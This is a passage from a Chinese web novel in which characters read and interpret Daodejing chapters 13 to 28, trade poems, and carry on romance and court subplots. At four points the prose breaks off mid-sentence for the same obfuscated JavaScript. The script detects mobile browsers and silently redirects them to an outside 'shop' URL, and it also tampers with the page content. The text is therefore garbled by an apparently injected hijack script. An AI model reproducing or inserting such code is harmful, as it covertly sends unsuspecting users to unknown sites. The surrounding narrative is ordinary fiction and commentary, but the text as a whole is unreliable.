这段话是说，得宠和受辱一样，都会引起内心的惊恐，重视大的祸患就如同重视身体一样。什么是宠辱若惊呢？就是在人们看来，宠为上为好，怕失去。辱为下为恶，怕得到，(这句花主要告诉我们已经有的怕失去，不好的东西怕拥有，常常使人不安，内心总会升起惊恐担忧)。 什么是贵大患若身呢？就是说人们之所以看重大祸患，是因为自己有身。如果我连自身都可以舍弃，那我还有什么祸患呢？ 所以，如果以看重自身的态度看重天下其他一切的人，可以寄活在天下任何地方。能够以爱惜自身并如此爱惜天下的人，可以把天下交给他治理”。 金朵问道“人们要在社会生存就要有如贵己一样广博的心。处于高位，平等心看下。处于低位，平等心看上。不执不贪，尊重别人，没有宠辱之分，也不会患得患失，就是这个道理吧”。 金有妙说道：“是的”。 金有妙继续说道：“第十四章：视之不见，名曰夷﹔听之不闻，名曰希﹔搏之不得，名曰微。此三者不可致诘，故混而为一。其上不皦，其下不昧。绳绳兮不可名 ，复归于无物。是谓无状之状，无物之象，是谓惚恍。迎之不见其首，随之不见其后。执古之道，以御今之有。能知古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156642|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始，是谓道纪。 这里是说，见不着色，但见性不失。闻没有听到声音，但闻性不失。触没有获得感觉，但觉性不失。这里的夷是没有形状，希是没有声响，微是没有觉受，这三个不可加以分别探究。所以他们是一体的。 一体的这个东西啊，觉明成万物也不会加工让它更亮，脱离了一切万物也不会失去觉明之性而蒙昧。这里的上和下，是指万物升起或者落下，也就是说道起作用或者不起作用的意思。 起起落落啊，不停变化，就如同波浪，故没办法命名。这里的绳绳就是起起落落如同绳子摆动的起伏。 总是能够恢复到没有形体的状态，没有物体的象态，可以称为“惚恍”。也就是说觉明之态，存妙有的势。 迎接它看不到它的前头，跟随它看不到它的接尾，这里是说一体的这个东西没有开始没有结束。回到道最初的样子，可以驾驭今天一切的“有”，返本复初，就能知道一切的开始，这就是道的纲纪规律，这里的古不是古代，是接近道最初的样子”。 冯妙元说道：“这么说，世界是我们六根妄成的，解决六根对觉明道体的缠缚，也就解了对世界的贪执。但是象的妙有之势，总会使得万物不休。道的这妙有之势应该是用欲引出来的吧？”。 金有妙说道“就是这个道理”。 金有妙继续说道：“第十五章：古之善为道者，微妙玄通，深不可识。夫唯不可识，故强为之容；豫兮若冬涉川﹔犹兮若畏四邻﹔俨兮其若容﹔涣兮若冰之将释﹔敦兮其若朴﹔旷兮其若谷﹔混兮其若浊﹔澹兮其若海﹔飂兮若无止。孰能浊以静之徐清。孰能安以动之徐生。保此道者，不欲盈。夫唯不盈，故能蔽而新成。 这段话的意思是说，古时候善于运用“道”的人，从细微处能够巧妙的实现各种“有”之间的变化，令人难以识别，正因为难以识别，所以只好勉强来形容。 他们小心谨慎，就像冬天里踏过冰河。警惕疑惧，就像随时准备着四周攻击。庄重严肃，就像是在别家做客。放松散漫，就像冰雪将要销融。敦厚质朴，就像未琢之璞玉。豁达空灵，就像深山之幽谷。混入恶俗，就像清水之混浊。摇中处静，就像沉海之波涛。静中急驰，就像谷风之过岗。谁能在混浊中安静下来，让内心保持净明，谁能在安静中变动起来，渐渐前进。 保有这样“道”的人，不求盈满，正因为不求盈满，所以能够装下新的东西而蔽藏旧的。” 说完以后，他们就出去玩去了。今天就听了这么多，大家都很欢喜。 21. 经室续讲道德经，灵儿开头结诗社 第二天早上，大家都来到了讲经室，金有妙继续讲道德经。他说道：“第十六章：致虚极，守静笃。万物并作，吾以观复。夫物芸芸，各复归其根。归根曰静，静曰复命。复命曰常，知常曰明。不知常，妄作凶。知常容，容乃公，公乃全，全乃天，天乃道，道乃久，没身不殆。 使心灵处于极度的虚无，牢牢保持这种宁静，万物随着六根好像在心里升起又落下，我就由此能够观察到循环往复的规律。 所以说，万物虽然纷纭繁杂，终究会各自返回其根本。返回根本就是这六根不用时的清净，即为妙心道本的虚静。这种虚静就是又使生命产生的本源。 生命的反复来去就是永恒的规律了，知道这个永恒的规律就是明白的人，不知道这个永恒的规律而肆意妄为就有凶险了。明白万物在道中起落就能有所包容，有所包容就能公平公正，只有公平了，天下各处才能都能被顾及。也就没有不来归顺的了，这样的包容归顺就是天的德化了。包容一切，归顺自然，就是合于大道了。合于大道就可以长久。道虽然没有身体，但万物在道中的起落不会停歇怠慢，万物能变化常住，实道本自在”。 金灵听完说道：“产生万物的那个本源就是我们的心，对吗？”。 金有妙说道：“是的，一切本自在，就是我们的本心，它就是道体，从不是从哪里来的，也不会到哪里去，有亘古不失的觉明之性。因明白而产生了妄见，标记了道体，就是万物了。这种标记是通过六根实现的” 金朵问道：“那这六根哪里来的？”。 金有妙说道：“六根就是觉明之性，即道性本自在，是这种明白之性又因为明白，而分别了此种明白，名为见听嗅尝觉知”。 金有妙又说道：“第十七章：太上，不知有之﹔其次，亲而誉之﹔其次，畏之﹔其次 ，侮之。信不足焉，有不信焉。悠兮其贵言。功成事遂，百姓皆谓：我自然 。 这里是说，最好的统治者，别人只知道他的存在，次一点的统治者，人民亲近他，赞美他，再次一点的统治者，别人害怕他，再次一点的统治者，别人轻慢侮辱他，统治者的诚信不足，人们才不相信他，最好的统治者悠然自得，不会轻易发号施令，功到自然，事遂人愿，百姓都会说，我本来就是这样”。 金有妙继续说到：“第十八章：大道废，有仁义﹔智慧出，有大伪﹔六亲不和，有孝慈﹔国家昏乱，有忠臣。 这里的意思是说，大道废弃了，才提倡仁义，智慧出现了，才会产生诡诈，家庭六亲不和，才提倡孝子慈夫，国家陷入混乱，才会出现忠臣。这句话主要提现了社会的运行也在道中，大道会自然调节，人们主观定义规矩，是离大道越来越远，并不是越来越近。这种调节主要体现在苦上，人们有欲，万物乃生。人们有苦，万物乃归。这是自然的往复调解之理”。 冯妙元说道：“这就如同人们觉察到爱情的苦自然就会不去结婚，孩子就不会生出来，其他都是这个道理，欲望一定会产生苦对吗？”。 金有妙说道：“是的，所以去掉苦的办法，唯有损私去欲”。 金有妙继续说道：“第十九章：绝圣弃智，民利百倍﹔绝仁弃义，民复孝慈﹔ 绝巧弃利，盗贼无有。此三者以为文不足，故令有所属。见素抱朴，少思寡欲 ，绝学无忧。 这里的意思是说，杜绝圣贤的权威，抛弃所谓的智慧，人民可以得到最大的好处。抛弃仁义等法则，人民才能回归孝慈。抛弃机巧和厚利，盗贼自然会消失。圣智，仁义，巧利全是包装的概念，有它的不足，只能让一部分既得者受益，大部分人恰恰被奴役。 外表朴素，内心纯真，取消思虑妄想，减少欲望，所以没有才能，没有知识，没有乱七八糟的概念就不会忧愁”。 金有妙继续说道：“第二十章：唯之与阿，相去几何。善之与恶，相去若何。人之所畏，不可不畏。荒兮，其未央哉。众人熙熙，如享太牢，如春登台。我独泊兮，其未兆﹔沌沌兮，如婴儿之未孩﹔儽儽兮，若无所归。众人皆有余，而我独若遗。我愚人之心也哉。俗人昭昭，我独昏昏。俗人察察，我独闷闷。众人皆有以，而我独顽且鄙。我独异于人，而贵食母。 这里的意思是说，谦逊柔顺与怠慢愤怒的差别在哪里？善与恶的差别在哪里？人人畏惧的与不可以畏惧的，不可理清。 这里的荒是表达思考也会像荒漠一样穷尽。根本找不到者两者的中心分界在哪里。 众人喜欢繁华热闹，喜欢锦衣玉食，喜欢嬉戏玩乐，而我喜欢淡泊清心，对那些诱惑无动于衷，混沌无知啊，就像成为孩童前的婴儿，疲惫颓丧啊，就像没有归处。 这里表达了一种状态就是无知且一无所有。也是告诉人们悟道最好具备的条件就是无知且一无所有，不要被先入观念束缚，不要被世俗财色束缚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156643|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人人都想多拥有，而我却想抛弃，我在别人眼里是多么的愚蠢啊，别人看起来多么的聪明睿智，而我看起来很傻，别人看起来是那么的精明洞察，而我看起来很糊涂，人人都有自己的本领有所作为，而我却显得愚笨鄙陋，我之所以和别人不一样，我从道中吸取涵养”。 金有妙讲完以后，金灵说道：“今天就讲这么多吧，太多了理解不了，我们对诗玩吧，放松一下”。 冯妙元附和道：“这个最好，也可以悟禅道理”。 孙果儿和唐欣虽然也报了县城学堂的蚕养班，但是不学诗词歌赋。就说道：“没怎么做过，不是很会”。冯妙元说道：“就玩着放松一下，你可以猜一些谜语，我也可以教你做诗”。 然后，金灵说道：“我们就以这外面此起彼伏的蛙声为题，大家各做一首，你们过来都没带笔，你们说出来，我帮你们写出来”。 吴宽余说道：“要是冯炳章在，就更好玩了”。冯妙元附和道：“下次我把他也叫过来”。说完大家开始构思去想了。 冯妙元想的最快，就说道：“农夏坡洒绿，微雨烟柳朦。偶起布谷声，迎来蛙继鸣”。金灵也跟着她朗读的节奏，记录了下来。 然后金梅说道：“青青山中色，点点草上露。池塘迎新雨，□□跳拱泥”。金灵也记录了下来。说道：“你们俩这两首诗，一个是用听，一个是用看，下一个不会是用尝了吧”。 金灵话说完，金朵也想好了，说道：“池塘新雨微，蛙鸣豆黄时。日出清尘霁，农人忙上地。” 说完紧接着吴宽余说道：“青蛙跳三跳，麻雀绕三绕。跳的胖嘟嘟，绕的毛巧巧。” 金灵说道：“你这打趣诗说的也是有趣的很”。 金有妙说道：“地头田里草润润，露深塘边蛙歌歌。灵雀飞绕微雨里，苜蓿花紫点青坡。” 孙果儿说了一个谚语：“脚大扫露水，□□跳腿背。莫惊小娃娃，醒来笑哈哈。” 唐欣也说了一个谜语：“坐也是坐，卧也是坐，行也是坐，立也是坐”。 大家说完，冯妙元说道：“你读读你写的”。金灵读道：“杏夏常经雨，蛙跳燕衔泥。近午瓦上烟，便知人不饥”。 大家一看外面，微微细雨也停了，云层也散去了不少，太阳时不时的在正中露了出来，也是快到中午了，就各自回家了。下午天气晴了起来，但还有些露水，不能上地。 22. 趁雨露有妙多讲经，买瓷碗唐贵撞私情 因为露水，下午还是不能下地干活，他们都来到讲经室，听金有妙继续讲道德经。 金有妙说道：“第二十一章：孔德之容，惟道是从。道之为物，惟恍惟惚。惚兮恍兮，其中有象﹔恍兮惚兮，其中有物。窈兮冥兮，其中有精﹔其精甚真，其中有信。自今及古，其名不去，以阅众甫。吾何以知众甫之状哉。以此。 这里的意思是说，从一个点变化出千万的这种功德，都是遵循道的规律的。道这个东西，即有即无，这里的恍就是瞬间清晰，惚就是不能清晰，故说即有即无。从清晰到不清晰，这其中有象不会消失。从不清晰到清晰，这其中有物可以呈现。 这段话告诉我们，我们平时的见闻觉知的对象消失后，会有像种子一样的障碍象留在道中，这个种子象也会变成物体清晰起来。 从深远入昏暗，这其中有最纯粹的本质，这个本质甚是真切，它有如同信用一般守诚的功用，或者说，从不让人失望的功用，当用当有，即用即来。(这里主要描述了道，性明但不可追寻，明性湛然真常，即用即有的特点)。 从古到今天，它从来没有消失，可以叫它“不去”，来运作万物的兴衰变化。所以说，我是怎么知道万物兴衰变化的来龙去脉的呢，就是因为道啊”。 冯妙元听了，说道“照这么说，我们的所见，所听，所尝都是种子象的障碍，前尘所留。并非物体，声音，味道就是本存的实相。它们的本质还是清净明了的妙心道体。包括爱情，嗔怨，恐惧等等都是此种障碍，前尘所留之象，并非实有。实有的唯道是真”。 金有妙说道：“是的，道本自在，恒真觉明，无所从来，亦无所去”。 金有妙继续说道：“第二十二章：曲则全，枉则直，洼则盈，敝则新，少则得，多则惑。是以圣人抱一为天下式。不自见，故明 ﹔不自是，故彰﹔不自伐，故有功﹔不自矜，故长。夫唯不争，故天下莫能与之争。古之所谓「曲则 全 」者 ，岂虚言哉。诚全而归之。 这里的意思是说，有弯曲才会看到全貌，有扭曲那就有捋直，有坑洼才会有盈满，遮蔽以前的就能变成新的，拥有太少就会注重得到，拥有太多就会产生困惑。所以，圣人常以清净心对待天下一切变化。 这段文字是告诉大家，有所执，就会痛苦，都不是好事情，都不可取。要用新的思想概念，时时遮蔽能引起苦难的旧的执念。 所以要常以清净心对待一切，这里的抱一，就是安住在产生我的那个根本里，即道的清净妙心。 自己不立知见，所以能明了一切，不刻意立是就非，所以能彰显本质，这两句话的意思是告诉人们自己不偏执固有的知和是，以及妄想概念，就能真正明了本质。 不自己夸耀，所以能有功劳，不骄傲自大，所以能长久，这两句还是从道的层面说明了，功和久是道本有的德和性，隐语内敛就合乎道了。 这样的道，正因为不争，才蕴含万物，天下就没有一个东西能争过它了。古人说的弯曲才能看见全部，委曲才能拥有且保全自己，诚言不虚啊，功成也能全身而退啊”。 听完金灵问道：“那就是说放弃自己的固有知见，比如仇恨，贪想，自以为是的爱等等，就是合道了”。 金有妙继续说道：“就是这个道理”。 金有妙继续说道：“第二十三章：希言自然，故飘风不终朝，骤雨不终日。孰为此者，天地。天地尚不能久，而况于人乎。 故从事于道者 ，同于道﹔德者，同于德﹔ 失者，同于失。同于道者，道亦乐得之﹔同于德者，德亦乐得之﹔同于失者，失亦乐得之。信不足焉 ，有不信焉。 这里的意思是说，不言教命令，是符合自然道理的，这里的希言可以多方面理解，不指手画脚，不彰显自我而施加命令，不自己认为合理就说三道四等等。 狂风刮不了一早晨，暴雨下不了一整天，谁使它这样的呢？是天地，天地尚且不能长久维持它的狂暴，更何况人呢？所以做事合乎道的人，与道等同，做事遵从德的人，与德等同，做事失道失德的，他就会承担失道失德的后果。 和道相同的，道也乐于他所得的道，和德相同的，德也会乐与他所得的德，这两句其实说的是符合道德的人也会乐在其中，失道失德者体会不到的。 失道失德的人，失也会乐与他所承担的后果，诚信不足的人，就有不相信他的人。这段话是提醒人们做事要符合道德，凡事就有因果，失信就难立身了！切忌命令，质问，反问，说教等等语言方式，这是取祸的道理，不能长久”。 听完后吴宽余说道：“这段我能懂了，就是说，说话态度要好，要不然就是取祸的开端”。金有妙说道：“是的，就是这个理”。 金有妙继续说道：“第二十四章：企者不立﹔ 跨者不行﹔自见者不明﹔ 自是者不彰﹔自伐者无功﹔ 自矜者不长。其在道也，曰 ：余食赘形。物或恶之，故有道者不处。 这里的意思是说，踮起脚跟走路的人会站不稳，跨步前行的人反而走不快，固执己见的人不会明白道，不明就很难接纳别人。 自以为是的人不能彰显本质，不知道本质就会常被欺骗，自我夸耀的人少有功劳，自高自大的人不能长久，以“道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156644|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的观点看上面行为就是，多余的食物和累赘的行为，人啊，动物啊，甚至鬼神啊，都会讨厌它，所以有道的人不这样。 讲到这里，孙果儿说道：“赵刚就是这样的人，他应该好好学下这个”。 金有妙说道：“我们不以评价别人而障碍自己，和自己没关系的人事，不听不想不论，更不嗔不怨，不立任何知见”。 金有妙继续说道：“第二十五章：有物混成，先天地生。寂兮寥兮，独立而不改，周行而不殆，可以为天地母。吾不知其名，强字之曰道，强为之名曰大。大曰逝，逝曰远，远曰反。故道大，天大，地大，人亦大。域中有四大，而人居其一焉。人法地，地法天，天法道，道法自然。 这里的意思是说，有一种东西就像有和无混合而成，浑然一体，他是先天地而有的。它无声又无形，独立不受任何东西影响而改变，一直循环运行万物不知道疲倦，使万物生生不息，可以说是天地的开始了。也就是万物的母亲，我不知道它的名字，我强迫自己用一个字取个名字吧，就叫它“道”。 它的作为无所不包，依此还可以勉强叫它“大”，光大无边啊就如同逝去，逝去啊如同伸向遥远，就因为太远感觉它就在我的身边。 这段话其实告诉我们，宇宙空间时间实际是一体的道障显的知见概念，再远和再大都在我们自己本自在的妙心道体是一。也就是，我们自己和广大都是同一个道，其实也不分彼此，所以说，道很大，天很大，地很大，人亦很大，所以空间区域有四个大，人也是其中的一个。 人依地而成，地依天而成，天依道而成，道本自存在，这段话主要说的是世界相成的次序，道本自在，而后有天，后有地，后有人。” 听到这里，冯妙元说道：“我们每一个生命原来就是那个整体的道，因障碍了不同的种子象，就变成了现在种种差别。这么说的话，我就是万物，万物就是我，因障碍的种种变化，我的生命就会以各种形态轮转不息”。金有妙说道：“就是这个道理”。讲完这段，他们就各自散去了，金灵金朵冯妙元他们又去放驴了。 话说这天下午，因为有露水，唐贵没有去拔扁豆，金凤也去放驴了。唐贵就来到赵老二的窑坊，打算买一个盘子碟子啥的。 赵老二的窑坊在金山上葫芦寨下坡的沟沿上，沟里草长的肥美，金凤就在这里放驴。 唐贵买了东西出来，绕过窑门无意间看见沟里有两个人。一个正是金凤，一个是吴宽良。他们贴的很近，在说着一些话，太远也听不清楚在说什么。唐贵心里虽然不是滋味，也不能让人不说话吧，也就回去了。 23. 第 23 章 话说这雨下了三天，天气就彻底晴了起来。金灵又要去拔扁豆了，金朵和金有妙，以及冯妙元跟着莺儿去金有妙家土豆地里除草。 土豆是黄土高坡最常见的食物之一，它的果实在根部，茎叶都不能吃，可以做驴的饲料。开的花是红白两色，具体要看品种的不同。土豆地里，蚂蚱是很多的，且比较好捉。金有妙又带着冯妙元捉蚂蚱去了，莺儿和朵儿锄的很认真。 蚂蚱飞起来时，会发出“吱吱”的声音，随着声音，就能知道它落在哪里。然后悄悄的跟过去，然后用衣服迅速的盖住它，再在衣服上轻轻的揣摩，看它在哪里？不能用劲揣摩，要不然就拍死它了。然后用手扣住它，慢慢翻开衣服就捉到了。 金有妙把外衣借给了妙元，她是东奔西跑，也没捉到一只，就坐在了地头上休息去了。 金有妙坐在了她的身旁，她很自然的把头又枕在了金有妙的胳膊上了，说道：“这里真的好美，我喜欢这里”。 金有妙说道：“生活如意的时候，哪里都感觉是美的。生活不如意的时候，就连我们现在这样，片刻的宁静也不会有”。 冯妙元说道：“有妙哥哥，你说苜蓿花为什么是紫色的，我从来没有见过这么美丽的花”。 金有妙说：“世间本没有这种植物的，说天上有一个仙子把它带到了人间，让它开紫色的花，来区分凡间之物。后来仙子回到了天上，苜蓿就留在了凡间。每当仙子下凡的时候，都会对这种花情有独钟”。 冯妙元一听，拧了一下他的胳膊，说道：“当你说第一句话时，我就知道你在编排我，看我不掐你”。然后她又说道：“我想是这仙子不会再回去天上了”。 金有妙说道：“为什么呢？”。冯妙元说道：“傻瓜，因为她心爱的花在凡间呢”。稍顿了片刻，她又说道：“有妙哥哥，你能一直陪着我吗？”。金有妙回答道：“我会的，你的有妙哥哥，与道同在”。 冯妙元听到这里，说道：“哥哥，你继续给我讲道德经吧，只要你讲经，我就有一种前所未有的踏实”。 金有妙说道：“第二十六章：重为轻根，静为躁君。是以君子终日行不离辎重。虽有荣观，燕处超然。奈何万乘之主，而以身轻天下。轻则失根，躁则失君。 这里的意思是说，重为轻为根本，静是躁动的纲领。这两句话表达了，想要做成事情必须提前准备，厚积薄发，越全面越好。要想控制自己的情绪必须顺从静的平常，要从心底清净处下手。 所以，君子走一天也离不开辎重干粮，故君子有华丽的生活，显贵地位权势时，却能坦荡从容，超然处之。怎么有万乘的国君，会以轻率躁动治理天下呢？轻率就会失去立身的根本，躁动就会失去主宰的地位。 这段话主要反应了做人干事情都要厚积薄发。有所准备，尤其是婚姻爱情更是这样。” 冯妙元听完，说道：“生活中的情情爱爱，自然是不能脱离物质的。但你和我，它是本道一体的，距离不能把我们分开”。 金有妙继续说道：“第二十七章：善行无辙迹，善言无瑕谪﹔善数不用筹策﹔善闭无关楗而不可开，善结无绳约而不可解。是以圣人常善救人，故无弃人﹔常善救物，故无弃物。是谓袭明。故善人者，不善人之师﹔不善人者，善人之资。不贵其师，不爱其资，虽智大迷，是谓要妙。 这里的意思是说，善于行走的不留痕迹，善于言谈的不说错话，善于计算的不用筹策，善于关闭的不用栓锁那也打不开，善于捆缚的不用绳索那也不能松解。 因此，圣人总是能做到人尽其才，没有被抛弃的人。圣人总是能做到物尽其用，没有被废弃的东西。这可以成为代代传承的善工道理。所以精通这些善工道理的人可以成为不精通的人的老师。不精通这些善工道理的人就成为了精通的人的资源。不崇拜这样的师傅，不贪爱这样资源，就算智者也会迷惑，但是自然有这样做的妙处。 这里主要是提现这样一个道理，你没有手艺知识就去学，有传下来的手艺知识就组织人变成资源。如果不懂也不去学，懂了也不用，这样的话，智者也就看不懂了。 这是为什么呢？这就是它的妙处啊！那到底妙在哪里呢？其实这里强调的是合道无为，自由自在。求道者不追求善巧利欲”。 金有妙继续说道：“第二十八章：知其雄，守其雌，为天下溪。为天下溪，常德不离，复归于婴儿。知其白，守其黑，为天下式。为天下式，常德不忒，复归于无极。知其荣，守其辱，为天下谷。为天下谷，常德乃足。复归於朴，朴散则为器。圣人用之，则为官长，故大制不割。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156645|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的意思是说，知道了强大的雄，却安于守住柔顺的雌，这是天下的溪源，道的德就不会离失，能复归于婴儿般的开始。(这里告诉大家，我本即净，甘愿守住清净就能处下，合道就是德了)。 人总是争理好胜，是自己知道有理有胜，如果能清净到一无所有，就能如小溪自然处下，也能守住溪源初心回归。 知道什么是阳，却安于阴的地位，这是天下的法则，道的德就不会偏差，复归于道的本处。(这段话是易理的道理，阳上阴下，阳动阴随，这样天下就可以化育运作，有了这个法则，道的德就不会偏差，能复归于道本的无极。无极运作有和无，运作天下的阴和阳，这就是道以及符合道的德啊。 知道荣耀，却安于被侮辱，这是天下空谷境界，能够达到这个境界，道的德就足备了，复归于道的质朴，朴散开来就是天下的器物了。 圣人能用道的这些德，就可以为百官之长，完善社会体制浑然天成，不会伤害到百姓。 冯妙元静静的听着，渐渐躺在了金有妙的怀里。忽然听见有人喊她。 他们回头一望，是冯秀珍走了过来，说道：“你在这里啊，让我好不容易找到你”。冯妙元说道：“找我做甚？”。冯秀珍说道：“二叔要回县城，要带你回去”。冯妙元一听，回头给金有妙说道：“有妙哥哥，那我先走了，你忙完了赶紧也回县城吧”。走的时候，深情的望了金有妙一眼，一步三回头的消失在地埂的转弯处。 冯妙元来到金山学堂，冯玄真已经在学堂的门口等着她了。她上前接过马的缰绳，默默的走在了前面。冯玄真摸了下马的脊背，说道：“这马体力还是不错，上去坐前面吧”。冯妙元脚一蹬，坐了上去，冯玄真也就坐在了后面。马儿渐渐驶出了村子……。 山间的蛙声，依旧回荡着，布谷鸟依旧时不时的鸣起。紫色的苜蓿花依旧点缀在绿色的山坡上。山坡上的人们依旧蹲卧在黄色的扁豆地里。蚂蚱的“吱吱”声依旧时起彼伏。远处波浪起伏的山头上依旧飘影点点。那酸的掉牙的杏子依旧在心里回荡。满山零洒的狗蹄花依旧在风里摇摆。那灵动活泼的兔子依旧撞在心上。这个世界本没有距离，我为何如此留恋，泪水从冯妙元的两颊轻轻滑落，一篇篇关于道的经文，述说着她最后的坚强…… 24. 太子马场谈治国，妙元观中学武艺 冯妙元回到鹿泉县，不出两天，方祖蕊就来找她了。她一见到冯妙元，就扯着她的胳膊问道：“妙元姐，你这些许天都到哪里去了？都没人陪我玩，可无聊死我了”。冯妙元说道：“去乡下找我阿爹了，玩了几天”。方祖蕊说道：“去玩也不说带上我”。冯妙元说道：“我去了，阿爹还怪我到处乱跑呢。带上你，那我不得没个好了”。方祖蕊说道：“好吧，原谅你了。我们去骑马吧，也没事干着”。冯妙元说道“嗯，我们去起马，叫上他们一起”。 然后，冯妙元和方祖蕊叫了冯炳章，道国昌，吴宽勇和李承乾，又来到了马厂练马。 话说这李承乾是镇边府李龙将军的长子，和道国昌同岁。他为人洒脱，不拘小节，胆识过人，但不通言笑，话少，和吴宽勇是这里骑马最上乘的。 他们来到马场，跑了几圈，就来到了一个帐寨，这是马场练兵总督的帐寨。他们把马匹拴到外面就进去了。看见一个身批裘装，腿绑绷缠，头带护冠的人，虎背熊腰，一看就是练家子，他叫申林虎，是这里的总兵。还有一个人就是道国元。 道国元看见来的是冯妙元，脸露悦色，上前说道：“你们又来练马吗”。道国昌说道：“不练马难道找你啊”。道国元说道：“你也不会知道我在这里，你难道不会找申总兵吗？”。申林虎说道：“他们经常来，不用给我天天报备的，怎么今天来是有什么事吗？”。冯妙元说道：“我口渴了，讨一杯茶喝”，说着就坐在侧面椅子上。申林虎就叫人上了茶，他们就聊了起来。 申林虎问李承乾说道：“你父亲有没有告诉你需要多少马匹？”。李承乾说道：“这也是今天我此行的目的，近年游人继任了新主，屡犯边境，国王本来想建立一支一万人的突击队，以游人之法打击游人。父亲让我问你我们现在能抽调多少马匹？”。申林虎说道：“大概3000匹，那差的还很多”。 道国元说道：“我们国家今年发放的蚕种，年底就应该可以吐丝，还没有负责蚕业的官员，由我负责收蚕税，年底了我看收益如何，能不能加到6000匹马，翻一倍”。 李承乾说道：“蚕业要有显著的收益，恐怕最少得要三年，才能有收益。现在最要紧的是大量引进和培养蚕业的人才。我们是和游人赶时间，拖住他们三年，我们就有胜算的把握，现在恐怕不行”。 道国元说道：“学堂已经大量免费招收了女学生，专业学蚕桑，三年应该会有成效”。 冯妙元也不参与这些事，也就听听，只管喝她的茶。喝了一会，就和方祖蕊先出来骑马了。道国元见状，就给申林虎说道“兵的事我也不懂，这经济赋税的事最少等三年见效。这三年，还希望申总兵多多费心，我陪她俩去练马，你们聊”，然后他就跟了出来。 出来之后，他就赶紧的赶了上来。冯妙元一看是道国元，就说道：“元兄你不去聊天，出来跟着我俩干嘛？”。道国元说道：“出来也练练马”。冯妙元说道：“你不是不会骑马吗？”。道国元说道：“冯姑娘，我是没有马，并不是不会骑马”。冯妙元说道：“今天骑马打算去哪里呢？”。道国元说道：“这马场能去哪里，随便骑着玩呗，要么一起走走？”。冯妙元说道：“好啊”。 冯妙元问道：“元兄是怎么选为太子的？”。道国元说道：“这太子每三年轮选一次，只是去年今年明年是我，以后就不知道是谁了。因为我提交的定国十策在众兄弟们中胜出了，就选我了”。冯妙元说道“元兄可以说说大概吗？”。道国元说道：“一个国家要从这几个方面入手，首先是业，业为国立足之本。二者是道，道为国之制度的根本。三者是商，商为国之进步的桥梁。四者是吏，吏为国构架的根本。五者是税，税为国运行的根本。六者是户，户为国稳定的根本。七者是兵，兵为国家安全的根本。八是人才引进，九是外事独立，十是工制自由”。冯妙元听完说道：“元兄大才，也是国家之幸”。 他们聊着，不觉就来到了鹿泉河边，就下了马在河边饮马。冯妙元忽然“噗嗤”一笑，道国元问道：“姑娘笑啥呢？”。冯妙元说道：“上回实在是误会了，你别见怪”。道国元说道：“姑娘说的哪里话，我怎么会是那么小气的人呢”。他继续说道：“听说姑娘诗写的好，能借我看看吗？”。冯妙元说道：“抄录下来的也不是很多，我改天拿给你”。道国元说道：“谢谢姑娘”。 方祖蕊跟了一路，这会子就说道：“你们当我是空气人呢”。道国元说道：“上次多亏姑娘你的马了，真是谢谢你了，时间紧也没来得及问姑娘芳名”。 冯妙元说道：“她的爷爷是我的舅爷，算是我的表妹吧，叫方祖蕊”。道国元定眼一看，这姑娘虽然不及冯妙元姿色，但生的也是美轮美奂。就说道：“谢谢方姑娘了”。方祖蕊说道：“不谢不谢，姑娘我也是一个很大度的人”。 他们饮了一会马，就去河里摸鱼了。冯妙元没有下水，倒是方祖蕊和道国元便起裤腿，来来去去的不一会就摸了几条鱼。方祖蕊自从那天见到道国元的第一眼，就是比较在意这个太子的，所以才愿意把马给他。今天摸鱼也是很愿意的。不过道国元只是认为她还孩子气，就是喜欢玩。 他俩把这几条鱼绑在马鞍上，带到账寨让申林虎叫人烤了，大家吃着又谈论了一些事就回去了。 冯妙元回到家中，母亲龚映兰说道：“你舅爷说让你继续来白云观学武艺来，别到处没事闲逛”。冯妙元说道：“那个武教练老打我，我不去，数天下我最怕他了”。龚映兰说道：“不严格一点你也不认真学，你现在是长大了，他不会吓唬你了，但你要认真学”。 